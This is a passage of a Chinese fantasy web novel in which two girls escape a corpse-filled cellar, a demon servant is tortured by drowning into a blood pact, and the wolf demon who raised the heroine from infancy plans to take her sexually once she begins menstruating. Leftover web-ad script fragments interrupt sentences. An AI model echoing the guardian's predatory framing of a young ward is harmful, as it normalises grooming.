他仍是不能出去,因为体内的驯兽丹一直发作着,他若是破除结界,那么行为就不能再受他自己控制,而是只能回到清云宗苏云微身边,再次受她钳制。 到那时,他不仅会被苏云微诛杀,就连永远失去守护了十六年的萤萤。 “小小鼠妖!你到底做了什么?不过三日,就让我的萤萤遇到如此险境!” 萤萤身上还有还有他留下的护命宝物,若是少女尚存一息,遇到性命之危时,能护主。 可周朗对外面的情况一无所知,便将所有的怒火到记恨在鼠妖锦雏身上,干着急。 他又吐出一口血来,妖婴期大圆满的境界,硬生生降下一阶。 “该死!” 27. 鼠妖 在密不透风的地窖里,长时间暴露在尸臭中,会出现头晕恶心的症状。 身旁的少女倚着肩膀咳嗽时,陶蓉没什么反应。 没过多久,等归于寂静,少女又猛地呛住,胸膛剧烈起伏。 “我好、难受。” 真娇气。 陶蓉盘腿而坐,没有吱声,她身上还剩下一点儿甘草,也不知道还要撑多久,不可能给别人。 “有没有人!阿朗哥,你什么时候来救我!” “……” 头昏脑涨的少女跌跌撞撞起身,失了神,脚下一绊,两只柔若无骨的手倏地勾住陶蓉的颈脖,这一下,少女斜摔在她腿上,陶蓉下意识伸出手,揽住少女后倾的后背。 同为女孩,陶蓉皮糙肉厚不说,腰腹和手臂早就因为长年累月的做活留下了肌肉痕迹,身上一股子汗味和沾染的血腥味。 但萤萤就不一样了,骨骼纤细,身子柔软,后背纤薄,腰肢更是水蛇腰一般,细瘦的不像话,在这么难闻的地洞里,她身上还散发着清甜的暖香,这香气并非香料调制出来的,而是从少女肌理由内而外的体香。 对比太强烈,若是这玉骨冰肌的小仙子远在天方,那再如何陶蓉都不会上心,可现在,这个小仙子的存在,便是处处碍眼。 普通人与人交往,不是家世地位相近,就是外形能力齐平,富家子不会找一个穷苦百姓谈天说地。 自然,一无是处的人在优秀出众的人面前,能离得远远的自然是好,但若是被迫拴在闪耀着光芒的人身边,便会被光芒所伤,显得更为渺小粗鄙。 别说毫无芥蒂相处,不心生自卑、嫉妒就已然不错了。 陶蓉此刻就是这种心理,就算萤萤没有长着和苏灵玉一样的面容,她对这种人也有一种反感,别说会把这个纯美的白茶花小姐当做朋友,若非驯兽丹在体内作妖,陶蓉对她有个好脸色都难。 少女虽然身量轻盈,但一屁股跌倒刚好压到陶蓉磕伤的腿骨,闻着鼻息的暖香,陶蓉皱眉,立即松开她。 “阿……” 少女抱住陶蓉的脖子,手脚绵软,吓出冷汗,伏在陶蓉怀里慌急喘息。 “起来。”陶蓉心烦气躁,翻了个白眼,心里暗忖这人怎么这么弱不禁风。 “呜呜呜……姐姐,阿朗哥怎么还不来,萤萤好饿好渴,要死在这里了。” 饿死更好。 我不杀伯仁,伯仁的宝贝妹妹为我而死,这多好,想想就解气。 “姐姐,你……你这是什么?” 已然饿的前胸贴后背的少女盈盈抬头,刚才她额头搭在陶蓉怀里,明显触及到她怀里胀鼓鼓有什么硬物。 “是果子吗?” 萤萤情不自禁咽了咽口水,肚子刚好“咕噜噜”叫。 “不是。” 陶蓉脸色暗暗一沉,一时不妨,衣襟里藏着的半袋甘草就被她发现了。 “小姐,你快起来吧。”她默默挡住怀里祛痰止咳,补脾益气的中草药,讳莫如深,对怀里的东西只字不提。 “……好。”萤萤咬唇,支起身子,慢吞吞从她身上下来。 少女看似天真,实则在深山老林除了不得下山,也一直被哄着迁就着,脸皮子薄,自尊心挺重,陶蓉藏着掖着,她自然也不好再开口。 幽暗中,小小的动荡又重归于平静。 陶蓉以为事情就这样揭过,没过多久,却听见呜呜咽咽的哭声。 身侧的人抱臂缩着,不挨着陶蓉了,刻意保持了一段距离,虽然没再喊疼喊饿,但哭得细弱蚊蝇,瓮声瓮气,像是更哀伤委屈了。 她用这种方式,和她闹脾气? 想忽略都难。 陶蓉抬头翻了个白眼,她对这种哭唧唧的小仙子可不会怜惜。 相反,还起了试探的心思。 “小姐,这是草药,我肩膀被毒蝎子叮过,头有些烧,所以备下一点甘草,清热解毒的。” 陶蓉翻出布袋,解开,将切成薄片的甘草根茎递过去。 “你闻闻,真不是果子,就是一点儿中草药。” 甘草递到鼻尖,闻起来有草本植物的自然气息,伴随着轻微的甜香,少女愈发口干舌燥,下意识张唇,谁知眼前被可以当作食物果腹的甘草片消失了。 陶蓉是假大度,和独眼怪那样愿意舍得的真大方不同,说完就把甘草收回,松松垮垮挂在腰上。 “小姐,药不能乱吃的,还是能你哥哥来救你吧。” “体力有限,急也没用,还是好好睡吧。” 她揉了揉眉心,闭上了眼,许是疲惫极了,很快传来匀长的呼吸声。 药材就挂在腰上,系得极松,身侧的人睡得很沉,想必就算把草药袋一勾,便能神不知鬼不觉偷走。 可陶蓉不给,少女自然就不会再讨要。 她脸色雪白,没有半点血色,指尖冰凉,胸口戴着的护身玉佩一直在微妙地闪着热量,周朗说过,她只要佩戴这个玉佩,不论发生什么危险,他都能出现。 从前,她遇到最大的危险,不过雨后初霁的天气,在山里走下坡路,滑了一跤,采果子不小心惊了草丛里冷血的菜花蛇,被它咬了一口。 彼时,周朗总能及时出现。 现在,萤萤捂着肚子,因为每日吃些野果、蒸蘑菇,嘴里一点儿味也没有,现在好了,嘴唇苦涩,肚子里直泛酸水,小腹伴随着阵阵紧缩,就像筋脉寸寸断开,一股暖流从下.身流过,疼得很。 这是以前没有过的感觉,少女紧咬着下唇,早已奔溃,想唤人,话到嘴边又硬生生咽下。 第一次,萤萤自己太软弱无能,一直以来都只想靠别人,从未觉得这有什么不好,但就算可靠如周朗,在这种绝境下,也不能及时出现。 山里怎么会有这种地方?明明从来没有人进山,如今这里为何有这么多人骨? 还会有一个舌头被拔、被打断腿的活人囚在这个地窖里? 少女浑噩的大脑中闪过什么,稍纵即逝。这座山并没有想象中,祥和静谧,在不为她所知的背后,究竟隐藏了什么? 少女摇摇头,又一阵疼痛袭来,下身黏腻,浸透了底裤,贴着外裙,她悄悄用手指谈了探底裤,一手血腥…… 萤萤要死了。 白费了周朗这么多年的照顾,她还想和锦哥哥一起过一次生辰…… 还好,她也不算孤孤单单,身旁还有一个女孩。 如果陶蓉也会死,那就好了……俩人死后能一起做个伴。 少女浓密卷曲的眼睫颤了颤,不知怎的,她觉得也没有太凄凉,重新靠上陶蓉的肩膀 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。 半个时辰后,分不清外头是昼还是夜,陶蓉睁开了眼,腰上的药袋子还在,她挑了挑眉。 人在绝望的边缘,本性显露无疑,就算内心纯洁无害,但面前就摆放着抵挡饥饿的食物,哪怕是最微不足道的小半袋中草药,也无人能抵抗生存的诱惑。 可少女已然昏过去了,她没有碰过陶蓉腰上的袋子一下。 陶蓉咬紧了牙,脸上闪过一瞬的困惑和茫然。 像是受到了某种打击,这段时间她对人性的理解犹如掌中观纹,自信满满,认为早已洞悉人心的幽微之处,此时这种信心却被击得粉碎。 要是她,真要饿死了,自然会去争去抢。 她正襟危坐,脊背绷着,冷眼瞪着昏死过去的少女,咬牙切齿,心乱如麻。 最讨厌道貌岸然之人,可那些虚伪之人们杀就杀了,害就害了,也没什么。 可百人之中,遇到一个当真傻笨的人,陶蓉最讨厌了。 她掏出一把甘草片,强硬掰开少女的下颌,“咔嚓”一声,不知道是她骨节作响,还是力气大了,把人脆弱的下巴捏坏了。 陶蓉一惊,默默收了力气,低声唤人。 “小姐” “萤萤” “喂?” 甘草片堆在昏死的少女唇齿里,这次,半晌都没有个动静,除了还能感受一点微弱脉搏,呼吸都轻了。 少女身上有暖香,此时身上却不知道哪里受了伤,尽是血腥味。 陶蓉脸色奇差,仿佛回到过去,薛丑躺在她怀里,没有气息,连水都喂不进的时候。 她心口的护心鳞,一直在养护着她的身子,她不觉得有多凉,手心却开始阵阵冒出冷汗。 一瞬,陶蓉颤抖着手将人放下。 * 锦雏吞了蛇丹,正准备返回院子找个机会提炼体内多余的妖丹,结果院子里一片狼藉,除了一头受了伤的头狼,人都不见了。 至黑夜都没有寻到两人后,少年目光渐沉,脸上的懒散玩味荡然无存。 萤萤身上有他留下的花灵印记,也有他的宝器,按理说不可能找不到。 可寻遍整座山,都没有发现踪影。 再寻不到人,等狼妖回来,不用说,那个背弃旧主的大妖肯定会灭了他。 他擦了擦脸颊风干的汗液,停了脚,定了定神,手指微动,山林里潜藏的沟鼠、竹鼠乃至两只食虫麝鼩都齐齐跑了过来。 “吱吱吱” “滋滋滋” “叽叽叽” 成精的妖怪担一族兴亡,可号令小辈徒众,一时之间,脚下围了几圈被血脉支配的耗子或非耗子被影响的小动物,少年低语几声,众耗子们“心领神会”,朝四面八方追踪。 尤不放心,手掌破出几缕细长藤蔓,斩断连接血脉的妖藤后,少年脸色白了一分,妖藤深扎进泥土,朝山林延伸, 夜半时分,地下搜寻的藤蔓堵住,无法寸进,汲取了地表的血气,仿若得到滋润营养,手指大小的藤蔓奇迹般的增.粗。 也同有沟鼠回来,皮毛爪子蹭了好些带血腥气的黑泥,月色下在巍峨挺立枝头俯瞰的少年似有所感,回头朝阴湿的密林看去。 在无人看见的夜林中,一只硕大矫健的黑鼠妖以最快的速度穿梭跃去。 28. 逃生 头顶传来一声巨响。 头顶传来一声巨响。 窖口又开了,一个人影都没有掉下,良久“啪嗒”一声,掉下来十来只……老鼠。 “吱吱吱。” 黑乎乎的老鼠摔下来痛得直叫唤,死的死,残的残,最后只有一只沟鼠骨碌碌爬起来活动,在地窖里兜了一圈,歪着尖腮,瞪着黑亮圆球鼠眼,呆呆停留在陶蓉的面前。 “滚蛋。” 陶蓉脚尖动了动,驱赶这好端端找死的老鼠。 谁知没过两下,头顶的窖门又开了,一根手臂粗和云梯似的藤蔓从头顶蜿蜒下来。 “丑八怪,萤萤呢?” 陶蓉微惊:“锦雏?” 地窖里老鼠脑袋偏了偏,上方的鼠妖便通过共享耗子的视角,看到了陶蓉身旁的另一个少女,心有了底。 “来,让萤萤先踩着藤蔓上来,小心一点。” 上门的少年在喊,陶蓉看了一眼被她衣服裹住昏睡未醒的少女,嗤了一声。 “萤萤小姐昏倒了,还没醒,上不去呀。” 陶蓉以为独眼怪会在上面想其它法子救人,谁知道她话音刚落,少年就从头顶一跃而下。 少年没用云梯,在半空中潇洒旋转,袍角飘飞,最后翻了两个跟头,单膝落地。 “萤萤怎么会昏倒?” 少年第一句话又是责备。 “你怎么一点事都没有?” 第二句是质疑。 少年鼻尖耸动,猛地捂住嗅觉灵敏的鼻子:“这里面什么味道?臭死人了。” 他抬脚,看着地上黏腻腐臭的玩意:“啧,这地上怎么都是虫子?” “骷冢和尸虫。” 陶心如止水,束起的乌发垂落几缕在肩上,穿着单薄的贴身里衣,腰际撕走了一边布料,映衬着腹部紧致的肌肉线条。 “我跟着小姐误打误撞跌进来,她崴了脚,摔下来时受了点伤,不过吃了一颗丹药后,已经没事了。现在只是虚弱地昏过去了,不打紧。” “哪里来的丹药?陶蓉,你又想做什么?萤萤这脸是怎么回事?你掐得?” 独眼少年撩开盖住少女的整个身影的外衫一角,露出少女一张脸色苍白昏迷不醒的面容,注意到少女下巴上淤青指印后,瞳孔一缩。 倏地扼住陶蓉的脖颈,将她掼至泥墙,使了点力气,指节按压住少女跳动的颈动脉上。 “我告诉过你,萤萤和你不一样,不容遇到半点闪失,你没看到我这些日子对她言听计从吗?你怎么敢?” “咳咳…” 少年神色不善,瞥向不远处全身爬满尸虫瞧不出人气的修士,磨牙凿齿,脸色绷得和茅坑里的石头一样又臭又硬。 “这人又是谁?脸上的血还是新鲜的,你干的?” “他要偷袭萤萤,我才、这样做,我体内有、驯兽丹,怎会故意伤害小姐?” 过度的挤压导致陶蓉脸颊潮红发紫。 她摁住锦雏的手,挣扎不过,抬腿便用尽了吃奶的力气踹向男人的命.根.子。 “疯婆子,你来真的?” 少年霎时松了手,后退两步,呼吸急促,“你这种人,当初死在街上,就算尸体泡烂了,我都不应该救。” 陶蓉从来没求过他!甚至那时眼神警告独眼怪滚远点! 他爹的,这死男的自己多管闲事,天天把“救她”挂在嘴里。 这个贱.人! 陶蓉心里闪过一瞬暴戾,进了结界里是人是妖都是弱鸡,手下翻转,目光落在中间的云梯藤蔓上时,她又偃旗息鼓。 “你还敢瞪着我?” 独眼怪修为不高,能一身都是潜藏的阴私技能,黑暗中的少年依旧能看清。 “你有本事再瞪着我,就一辈子待在这地洞里。” 陶蓉敛下了眼,自讨没趣别开脸,伸缩能缩的她抿唇不再吱声。 “这结界也太古怪了,封住了我所有的妖力。” 独眼少年观量四周,背对着陶蓉盯着猩红阴湿的泥墙,不知道在想什么。 “我先背着萤萤上去,你随后再上。” 陶蓉肩膀被不由分说挤开,少年解下自己的外袍,丢回了裹住少女身子骨的黑衣外袍。 “你衣服不干净,别弄脏了萤萤。” 默不作声穿回外衫,陶蓉再没吭过声。 对此,锦雏早已见怪不怪,说实话,若是他要收徒,这丑八怪应该是最适合做徒弟的。 性子不同,但在某方面,出奇契合。 头顶的窖门在即将关闭的时候,头顶又陆陆续续掉下几只耗子,以此拖延窖门闭合的时间。 用藤蔓把昏迷中的萤萤固定在背上,少女柔弱的身子贴在锦雏后背,他有一瞬迟疑,不过很快,攀上云梯,稳健地向上爬。 地窖很深,堆砌的尸骨纵使被尸虫腐蚀了,都有三尺,而头顶的地窖口,目光所及,饶是他这个夜行鼠目,只能隐约看见头顶一小个豁口。 “等我上去了,你再上。” 藤蔓虽然很粗.壮,但为了稳妥起见,只能先带最重要的人上去起。 “我警告你,乖乖在下面等着,不要又打什么鬼心眼。” 锦雏回头吩咐一声,望着少女像个鹌鹑乖顺点头,安静立在脚下的模样,他略去心头的异样和诧然,转头无视:“我先走一步。” 一步两步,他握紧藤蔓,往上爬,谁知刚爬七八脚,脚下的藤蔓晃了晃。 一只细瘦有力的手,飞快勾住少年的脚腕,快得像是被幽灵缠上了身,甩不开,亦根本不容反应。 “喂!” 云梯前后荡漾,宛若挡在秋千似得,承载着三个人的重量,握在手里的一根藤条,“嘎吱”的摩擦声更清晰了。 “好你个……”少年忿忿磨牙。他低头看了看脚下死勾着他的脚腕,一步步跟着向上攀附的少女,脸色比方才还要黑。 事实摆在眼前,很显然,陶蓉刚才只是表面上装的乖觉,她其实完全不信任他! 锦雏也没想在这个时候要陶蓉死,可现在,他偏偏不依了,不愿让脚下这个心怀鬼胎的丑八怪如愿爬上来。 一脚踩在少女肩膀上,上下踢踹两脚,眨眼间,藤蔓荡着秋千,落在最末的少女身子不稳。 她却如水蛭一般,拽着锦雏的脚腕更使劲了。 许是自幼做活的缘故,少女力气比旁的凡人乃至男人们都要大,死死钳制住锦雏的腿脚,一时间,掐得同样被封住灵力的锦雏疼的龇牙咧嘴。 “放开!” 背上的人不敢绑得太紧,身上的藤条有些松动了。 一怕背上的萤萤摔下去,二又实在不愿被脚下阴翳的少女得逞。 “你这个疯女人!” 少年又气又怒,可下方的少女充耳不闻,手脚并用往上爬,手已然从他的脚腕,移换到抱住他的大腿,锦雏心口一悸,险些要喷出一口老血来。 “你……你……” 少女面对面踩着他藤梯上的脚背,盯着头顶的微妙月光,面无惧色踩着独眼怪的脚和手,越过了他和他背上昏迷的萤萤,爬得又快又猛,像个没有心肝的野猴。 锦雏脸色铁青,也像拖拽住陶蓉的小腿,谁知少女一脚蹬着他 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的肩膀,借力一跳,直接勾住了好几尺高的藤梯,远远甩过他一大截。 转眼间,少女又不带歇息地向上爬了七八下,这下,别说锦雏拖住她了,伸手连触都触不到。 少年表情奇差,胸口硬生生憋出一口淤血来。 好家伙!亏他还想主仆一场,留着她一命,这种女人,到时候就算被狼妖一掌打死,他也不会再为她求情半句! 等着吧,他不杀她,她早晚也活不久! * 身体里的血液倒行逆施,周朗自伤了两掌,又放出了不少血,在极度虚弱之下,不仅是自身妖力下跌,就连体内的驯兽丹丹力也总算能能遏制住。 他体内的驯兽丹是苏云微为压制妖婴期妖兽专门炼制的。 修为若是只要妖丹期,周朗也能解,只是妖力过低,他日后拿什么抵抗那些仙门人?更别提一生一世守护萤萤了。 若是能突破妖婴期,直奔化神期,那他自然也不受区区驯兽丹所控,只是从数百年前他伤害同族时,修为便一直停滞不前,不进反退。 这十六年,少说也吃了近百个仙门修士肉身和吞了不少妖丹,借用邪攻的提炼下,修为最高也只有妖婴期大圆满,离化神还是差了半步。 而今,他突破不了最后半步的瓶颈,因为顾念萤萤是否有性命之危,他不得不硬伤了自己,无奈逼自个倒退一个阶段,至妖丹大圆满。 满身是伤破除了精心设下的高阶结界妖罩,半座山峰崩裂,在灰土中,化为兽形的狼妖不顾自身伤势,直奔萤萤所在之处。 * 是夜,锦雏背着萤萤在即将爬上地窖口时,他看到了陶蓉的脸。 陶蓉谨慎地蹲坐在窖门旁,平静地俯视着下方的人,最后,拿出了袖里的匕首。 “你想干什么?” 就差半丈高,就能逃出生天,少年生生顿住,防备地盯着少女手中的刀子。 他自然也不信这小妮子,会有什么好心肠。 恩将仇报狼心狗肺之人,就算借住他的藤条活了下来,也会回过头反咬他一口。 就如现在,未出地窖,他仍是毫无妖力,她在上面无论是扔个石头,还是刀子割断藤蔓,他也防不胜防。 果不其然,少女手下微抖,刀尖却毫不犹豫割断了藤条一边。 藤条剧烈倾斜,这一下晃动幅度更大,险些要将人甩飞! “好样的!陶蓉!你真是好样的!” 锦雏背着萤萤死死揪住最后一侧尚未被割断的藤条,怒目圆睁,一边冷笑,一边放出恶言。 “我就算摔下去也不会死,可你就不一样了,这样做的下场,绝对生不如死!” “是么?”陶蓉拿出火折子,“下面空气那么闭塞,要是往下投一把火,你觉得你还会活么?” “……”鼠妖汗流浃背,“毒妇,萤萤是无辜的,你……” “她无不无辜和我有什么关系?我也挺无辜啊,可为什么会被周朗用命要挟,逼我屈辱地服下驯兽丹?” “我不伤人,总有贱.人害我。” 头顶的少女冷然的瞧一眼锦雏背上的萤萤,心里却并对她有杀意。 毕竟,她服下了驯兽丹,真要萤萤死,就不会从刘腾身上扒拉出仅存的两枚丹药,自己服下后,又喂给了昏死的萤萤。 陶蓉冷郁垂眸,借此机会威胁道,“我可以放你们上来,但是锦雏,你要答应我三个条件。” 原来是等着对他提条件。 还狮子大开口,敢提三个。 少年幽幽地盯着陶蓉,心里暗骂一句自个作孽。 29. 变态 靛蓝色的毛发狂躁异常,狼妖杀气腾腾迈入杂乱的院子,便见诺大的院子里,只有一个鼠妖在。 兽眼猩红,气火攻心,看到这鼠妖他怒气更甚,强劲罡风一掀,便将鼠妖打飞在地。 “咳…” 锦雏气息紊乱,喷出一口血来,骨碌碌爬起来,满头大汗跪在勃然大怒的狼妖面前。 “大哥,您回来了?”独眼少年脊背绷紧:“您不在的这几日,发生了一件事,小弟正急得要向您汇报呢…” “鼠妖一族妖力低微,却最为精明诡诈,本座当初就不该留你一命!说,萤萤在哪?你对萤萤做了什么?” 杀意暗流涌动,周朗的威压压得锦雏五脏六腑都要移位,仆契也与之作用,一个意念,锦雏体内便如万虫啃噬,全身血管节节爆裂,从脚到头,由内而外渗血。 鲜红血迹染湿了外袍,少年忍着疼痛感低头,指头戳进泥地里,眼底划过一抹记恨。 他坏事干的不少,却没这么冤枉过。 投靠狼妖还没几日,劳心劳力获得了萤萤的信任,底细都没探清,他怎么会对萤萤动手? 都怪那个丑丫头,闯下这么大的祸事,如今躲在屋内迟迟不出来! 他倒是想看看,这一次,陶蓉如何平息大妖的怒气! “萤萤小姐……不小心闯入了地窖,小弟及时救回,她现在正在屋内休息,小弟喂过一些疗伤药,小姐没有性命之忧。” 锦雏捂住不断外溢的精血,心肝肺腑生疼,但在大妖面前,他也同样敢怒不敢言。 怕狼妖一个耐心不足就一手了结他,便愈发恭敬老实道:“是小弟照看不力,等萤萤小姐无碍了,大哥要罚要杀,悉听尊便!只是萤萤小姐被发了疯的头狼追咬,又在地窖里受了惊吓,想来现在最需要大哥您的安抚。” 屋内亮着鲛珠,靠近床榻的窗户透出两抹贴紧的暗色人影,屋内少女的细弱哭声。 周朗这才听到了屋内的少女喏喏地在唤:“阿朗哥” 心口一紧,顾不得地上这鼠妖,杀意一收,他化为人形,大步流星往屋内走。 “萤萤!”门一打开,狼妖一顿。 陶蓉手上拿着汗巾,收回手,安静地抬头。 倚在肩膀上的柔美少女也跟着抬头。 “阿朗哥!” 少女离开了陶蓉的身边,向风一样冲了出去。 却登时软了腿脚,扑通跌在地上。 陶蓉很焦急地去扶她,却在一刹那被打开手。 那一掌劲风甩来,要不是陶蓉反应快,一条胳膊想来要折了。 “别碰她!” 周朗冲过去,揽住少女娇柔的双肩,将她扶起。 下一瞬,不管三七二十一,妖力掀翻一旁碍眼的陶蓉,将怀里的少女放在床上。 “现在不想死的,就滚出去!” 怀里的少女睁着一双小鹿般受惊的双眸,纤弱的身子骨还在微微战栗着。 周朗已然知晓,萤萤遭受到什么样的惊吓和伤害。 他握住少女受伤的手,心如针扎一般刺痛,不敢用力。 对萤萤,从始至终都是如此,含在嘴里怕化了,捧在手里怕弄疼了她。 如今有气无处发,他转头冷冷剜向陶蓉。 要不是萤萤看着,他恨不得当场捏断她的脖子! “还不滚?” 谁料那凡人少女静静站着一旁,丝毫不怯。 陶蓉微抬眼,手里还握着长条的汗巾:“主人,萤萤小姐来癸水了,这种姑娘家的私事,还是让我来帮忙吧。” “癸水?” “是的。”陶蓉点头,望向狼妖突然僵住的面色,续道:“主人,男女有别,小姐裤子上都是血,我正想帮她清理干净呢,您若是不急,就避一避吧。” 周朗脸色不太好。 这凡人在说什么?胆敢让他出去? 陶蓉继续叠着好几条柔软的白巾,叠得厚厚一沓,撩起眼皮,掠过周朗,直直看向萤萤。 “小姐,来癸水身体应该会感到轻微的不适,您的小腹可能会出现钝痛、刺痛或类似抽筋的感觉。这种疼痛通常在前一两天比较明显,之后就会逐渐减轻,每个女子都会来癸水,这是正常的,您现在裤子都是血,这几天也最好不要碰冷水,吃辛凉酸涩的野果。” 陶蓉一本正经,头头是道。 “小姐,您现在可是感觉肚子不舒服?” 床榻上的少女抿抿唇,与此同时,下腹一股暖流涌出,一种难言的下坠感一抽,她睁着无辜纯净的眸子,下意识点点头。 “那就对了。”陶蓉微微勾唇,看向坐着不动的狼妖。 心中鄙夷,可面上笑得温和:“主人,如果小姐能喝点蜂蜜水,应该就会舒缓一点。” 周朗拧着眉头,而少女却默默松了手。 裤腿里的血很是黏腻,羞耻心虽然不多,但还是有的。 从十岁开始,她就对自己身体某一些变化很是在意。 亦很苦恼,可对于盘旋在她脑海里的各种疑问,从来不会有个人来主动和她解答。 许是醒来后,便看到坐在床边给自己喂水的陶蓉——是她背她回来的。 又许是在地窖里的漫长一夜,她与陶蓉互相依偎。 此时的萤萤,早已不排斥面相伤眼的陶蓉,相反,还有点想与她亲昵的念头。 陶蓉和锦雏哥哥不一样,锦雏虽然有趣,可他是妖。 萤萤非妖非怪,她是山里唯一的人类,遇到了同为女子的陶蓉,心有芥蒂,可待共患难后,也愿意真心接纳,甚至有种“我们都是人族女孩”惺惺相惜之感。 “阿朗哥……” 少女咬唇,脸颊微热,险境逃生,她渐渐安心很多。眼一瞟,从脸色不好的周朗脸上,瞟到立在身边捧着一堆洁白布料的陶蓉,脑海中又响起在地窖里的一个承诺。 “陶蓉姐姐对我挺好的,以后就让她和锦哥哥陪我一起玩好吗?阿朗哥,山里太冷清了,人多热闹,请你不要责怪她们。” 少女嗓音软绵绵的,底气不足道:“你现在可以出去一会儿吗?” 狼妖觉得可笑。 他才是萤萤最亲的存在,从萤萤尚是襁褓婴孩,便会握住他的小指头,甜丝丝对他笑。 这些年,无论何时何处,萤萤发生什么,能信赖依靠的只有他。 什么时候,轮到这凡人女子来指手画脚了? 周朗大致了解人类的癸水,他想这玩意估摸类似母狼动情周期。 妖族中很多雌性,到特点年龄,会有定期的生理周期,在这个周期,雌性会分泌液体,有时候会有血液混合其中,会对雄性特别吸引。 说白了,就是发情期。 周朗大脑轰然炸响,他愠怒的心绪猛然一转。 心口胀鼓鼓的,激昂欢愉的情绪到达顶峰。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 他低头,炙热看向少女,他的嗅觉灵敏异常,若是有意去嗅闻,便能清晰捕捉到空气中那股子臭味中夹杂的一丝血腥味。 普通的血腥味,在此刻也变得极其诱人。 杂臭味自然是陶蓉身上传来的,她在地窖待得太久,身上衣服都未换,身上还有汗液味,而萤萤身上,从头到脚都是雪白洁净的。 少女该死的甜美,按捺住蠢蠢欲动的心思,他等待了这么多年,而眼前这颗青涩懵懂的花骨朵,已然初步展露出花苞。 或许,他很快就不需要继续隐忍克制,到了可以尽情采撷的时候。 周朗呼吸急促许多,修为跌到妖丹期,身体也伤势未愈。 可体内的血液又升温热腾起来。 握紧拳头,周朗最终起身。 巨人般高大的身躯像是一座山,将少女柔弱的娇躯包裹。 他忍了又忍,口渴难耐,却心知此时还不行。 人间娶妻洞房,且说良辰美景值千金,他要做好充足的准备,定会给萤萤一个深刻有意义,到老都能怀念的初次交.配。 这么一想,旁的那些事,便都不重要了。 他面无表情觑了一眼陶蓉,冷却了杀意,心情好了,便觉得眼前一棵杂草似的陶蓉也有点用处。 不过,这凡人此时能逃过一劫,门外的那个,可就说不准了。 “你好生照顾小姐,若是日后再有半点差池,我定不会再饶过你!” 狼妖负手昂扬,大步流星出门,还顺带闭了窗户和屋门。 * 经历的多了,陶蓉胆子愈发大,反倒越是生死存亡危机时刻,她练就出了一副面不改色心不跳的心性。 陶蓉微微扬起嘴角。 好声好气朝少女鞠了一躬,“多些小姐帮我说话。” “这……不算什么的。”前几日萤萤还记得自己赶过陶蓉,不让她进屋呢。 闹别扭的两个人,突然关系和好,莹莹还是觉得挺不自在的。 “小姐,您自己洗洗身子吧,用那个装着水的盆先洗,再用这个布擦。” 小姐虽然和自己冰释前嫌。 可陶蓉并不想亲力亲为。 她指了指床边的水盆,指挥小姐道:“您先把裤子脱了。” 因为都是姑娘,身体都是一样的,所以这种私密事,旁观也没什么。 可萤萤莫名觉得羞涩。 她愣愣下床,一只手局促撩起裙摆,另一只手脱下裤子,尽量躲开陶蓉的视线,她蹲下身去洗身子。 “嘶……”少女微微一颤,“好冰。” “你……你不是说,来这个癸水不能碰冷水吗?” 少女弱弱地问。 陶蓉别开脸,心里满是不在乎,面上却无辜掀唇:“是啊,可是小姐,您这儿没柴火,一口铁锅很久没用,都是灰尘,我来不及烧热水啊。” “先将就洗洗吧,没事哒。” 陶蓉轻笑,“我以前啊,来葵水了,就算寒冬腊月,还不是洗衣下地。” 甚至……陶蓉嗤笑,她现在还随身携带掺麝.香的香囊呢。 麝.香消肿止痛,活血通经,虽然对生育能力产生不利影响,可对她来说,好处多多,算不了什么。 反正又不会死。 她一颗心冷得出奇,眼底都是阴霾。 “为什么会那样呀?姐姐……你家人不爱你吗?” 31. 收妖:风水轮流转 莹莹询问锦雏去哪儿了。 陶蓉但笑不语。 鼠妖缺了胳膊。 原形毕露,在她那黑匣子里,伤残到哀求的力气都没有了。 空闲时,她又回自己屋子察看了一回。 那皮肉外翻的一只耗子就躺在那儿,陶蓉看着它,捂唇笑。 “你现在什么都没有了。” ‘小人得志’的陶蓉勾出衣襟里连串的宝贝,在耗子头顶扬了扬。 见它颓废的耷拉着眼皮,半天都没个反应,少女撇嘴,没有看到想要的情绪起伏,意兴阑珊。 “真没劲” 她收回嘴角的嘲笑,沉下脸来又思索半会。 眼珠一转,阴险笑了笑,转身出门,很快就端了一盆凉水来。 捏住老鼠的细长尾巴,没有犹豫,瞬间就将给了一上午喘息时间的鼠妖丢入水盆里。 “你如果想死,现在就溺死拉倒。” 少女不怀好意的看着手里的玩意,面若修罗,眸底泛着寒光。 没了价值,也让人止不住厌恶,锦雏若想死,她玩够了,索性送他一程。 可濒死的求生欲,往往最是磨人。 水下沉沉浮浮的鼠妖身躯惊颤,不消一瞬,在陶蓉眼皮子底下开始挣扎。 “咳咳咳” 耗子嘴一开,先是呛水,而后是艰难挤出“救命”二字。 陶蓉嘲弄的弯起嘴角。 她拉着老鼠尾巴,将它拎起来,给他片刻的缓冲。 水淋淋的灰色毛发贴紧在耗子皮囊,狼狈丑态。 少女勾着一抹阴阳不定的笑,“喂,既然你不想死,那就做我的仆人怎么样?你上次不是发了誓言么?承诺答应我三个条件。” 手里的尾巴尖都在哆嗦,娇小、缺了胳膊缺了一只眼的死耗子,尖嘴咳嗽半晌,晕晕沉沉倒挂着。 “我第一个条件,就是你要和我结主仆契约。” 妖物身份日渐式微,听说一些王亲贵族不乏有爱好豢养妖精的。 做了锦雏这么长时间的奴仆,陶蓉也想尝尝,有个能让她颐指气使随意命令的小贱仆是什么滋味。 她擦拭手指,类似“驯兽丹”以外,还有一种能让人忠心耿耿的法子。 就是主仆血契。 主人若死了,仆人必死无疑。 听起来,就很适合验证在沦为囚徒的鼠妖身上。 等了半天,都没个回应。 陶蓉又不耐烦了。 她拎着它,又丢进水盆里。 这一次,她抱臂看着老鼠拼命挣扎凫水,奈何抡着独臂,朝上登了半晌,又沉入盆里。 等它喝够了水,陶蓉再拉它出水。 反复几次,陶蓉听见了意料之中的回应。 “主……主人。 * 鼠妖口头服从可不行。 陶蓉逼问几日,终于从鼠妖口中问出血契的法子。 只是耗子临阵变卦,死活不肯结契。 陶蓉恼了,强按老鼠的胸膛,逼它交出结契用的精血。 力气狠毒了些,老鼠唇齿呛了血,旧伤又添新伤。 “不是我变卦,是我先前已被狼妖打下仆印,仆印未消,再与你结主仆血契,我承受不住。” 锦雏眼珠涣散,哀鸣一声:“陶蓉,我们处境没什么分别,你不要欺人太甚!” 少女皱起眉头,松了几分力道。 